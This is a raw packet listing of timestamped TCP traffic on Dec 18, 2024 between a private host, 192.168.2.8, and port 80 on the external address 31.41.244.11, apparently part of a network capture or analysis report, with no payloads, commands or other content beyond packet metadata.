Dec 18, 2024 09:07:21.138113976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.138129950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.138150930 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.138166904 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.138449907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.138489008 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.138511896 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.138547897 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.138552904 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.138587952 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.139467955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.139482975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.139502048 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.139523983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.139549017 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.140639067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.140654087 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.140670061 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.140692949 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.140718937 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.141665936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.141681910 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.141700983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.141721010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.141741037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.142571926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.142587900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.142605066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.142632961 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.142648935 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.142838001 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.142884970 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.142900944 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.142921925 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.142944098 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.143666983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.143755913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.143771887 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.143799067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.143816948 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.144548893 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.144670010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.144685030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.144709110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.144730091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.145987034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.146002054 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.146018028 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.146039963 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.146059990 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.146846056 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.146861076 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.146877050 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.146900892 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.146922112 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.147489071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.147504091 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.147520065 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.147542953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.147562027 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.148505926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.149070024 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.149085999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.149106979 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.149128914 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.149203062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.149218082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.149235010 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.149255991 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.149277925 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.149952888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.149967909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.149983883 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.150005102 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.150027037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.150629997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.150686979 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.150702000 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.150724888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.150743961 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.152245998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.152261019 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.152276039 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.152298927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.152318954 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.152621031 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.152635098 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.152652025 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.152674913 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.152694941 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.153749943 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.153764963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.153780937 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.153805017 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.153825045 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.154130936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.154859066 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.154874086 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.154892921 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.154896021 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.154916048 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.154937983 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.155347109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.155361891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.155380011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.155383110 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.155414104 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.155431986 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.156133890 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.156172037 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.156209946 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.156224966 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.156263113 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.157028913 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.157090902 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.157105923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.157129049 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.157145977 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.158938885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.158953905 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.158970118 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.158992052 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.159015894 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.159105062 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.159456015 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.159487963 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.159502983 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.159523010 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.159538984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.160752058 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.160775900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.160814047 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.160829067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.160844088 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.160861015 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.160880089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.160881042 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.160896063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.160917997 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.161374092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.161437035 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.161458969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.161477089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.161498070 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.162802935 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.162818909 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.162833929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.162856102 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.162875891 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.163646936 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.163815975 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.163830996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.163855076 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.163876057 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.164416075 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.164431095 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.164447069 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.164469004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.164489985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.165018082 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.165324926 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.165365934 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.165472984 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.166404009 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.166448116 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.326769114 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.326803923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.326821089 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.326913118 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.327068090 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.327157974 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.327173948 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.327199936 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.327218056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.328130007 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.328201056 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.328217030 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.328231096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.328269958 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.328934908 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.329013109 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.329027891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.329050064 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.329066992 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.329711914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.329807043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.329829931 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.329858065 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.329888105 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.330687046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.330771923 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.330796003 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.330817938 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.330845118 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.331429958 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.331509113 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.331523895 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.331551075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.331588984 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.332406998 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.332463980 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.332480907 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.332508087 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.332535028 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.333208084 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.333260059 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.333275080 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.333301067 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.333327055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.334069014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.334168911 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.334184885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.334208965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.334237099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.334909916 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.334996939 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.335011959 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.335036993 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.335058928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.335788012 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.335886955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.335902929 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.335932970 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.335958004 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.336658955 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.336740971 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.336756945 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.336786985 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.336813927 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.337730885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.337748051 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.337763071 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.337796926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.337819099 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.338421106 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.338502884 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.338519096 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.338550091 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.338574886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.339272976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.339368105 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.339384079 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.339412928 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.339442968 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.340298891 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.340315104 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.340328932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.340359926 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.340384960 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.341001034 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.341078043 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.341093063 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.341126919 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.341166973 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.341866016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.341968060 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.341981888 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.342014074 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.342041016 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.342730999 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.342823029 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.342838049 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.342869043 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.342895031 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.343647957 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.343740940 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.343756914 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.343799114 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.343820095 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.344472885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.344552040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.344568014 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.344598055 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.344624996 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.345377922 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.345432997 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.345448017 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.345468044 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.345479965 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.346251011 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.349590063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.362091064 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362109900 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362118006 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362126112 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362134933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362143040 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362227917 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.362344027 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362366915 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362382889 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362400055 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362415075 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.362425089 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.362458944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.362638950 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362668037 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362710953 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.362919092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.362971067 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363008976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363018036 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363046885 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363055944 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363081932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363082886 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363117933 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363127947 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363166094 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363389969 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363425016 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363442898 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363462925 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363476038 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363512039 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363517046 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363552094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363560915 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363586903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363599062 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363620996 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363635063 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363656044 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363656998 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363691092 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363724947 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363738060 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.363763094 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.363815069 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.364341021 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.364388943 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.364394903 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.364450932 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.364485025 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.364500046 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.364518881 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.364523888 CET	49714	80	192.168.2.8	31.41.244.11
Dec 18, 2024 09:07:21.364553928 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.364588976 CET	80	49714	31.41.244.11	192.168.2.8
Dec 18, 2024 09:07:21.364593983 CET	49714	80	192.168.2.8	31.41.244.11
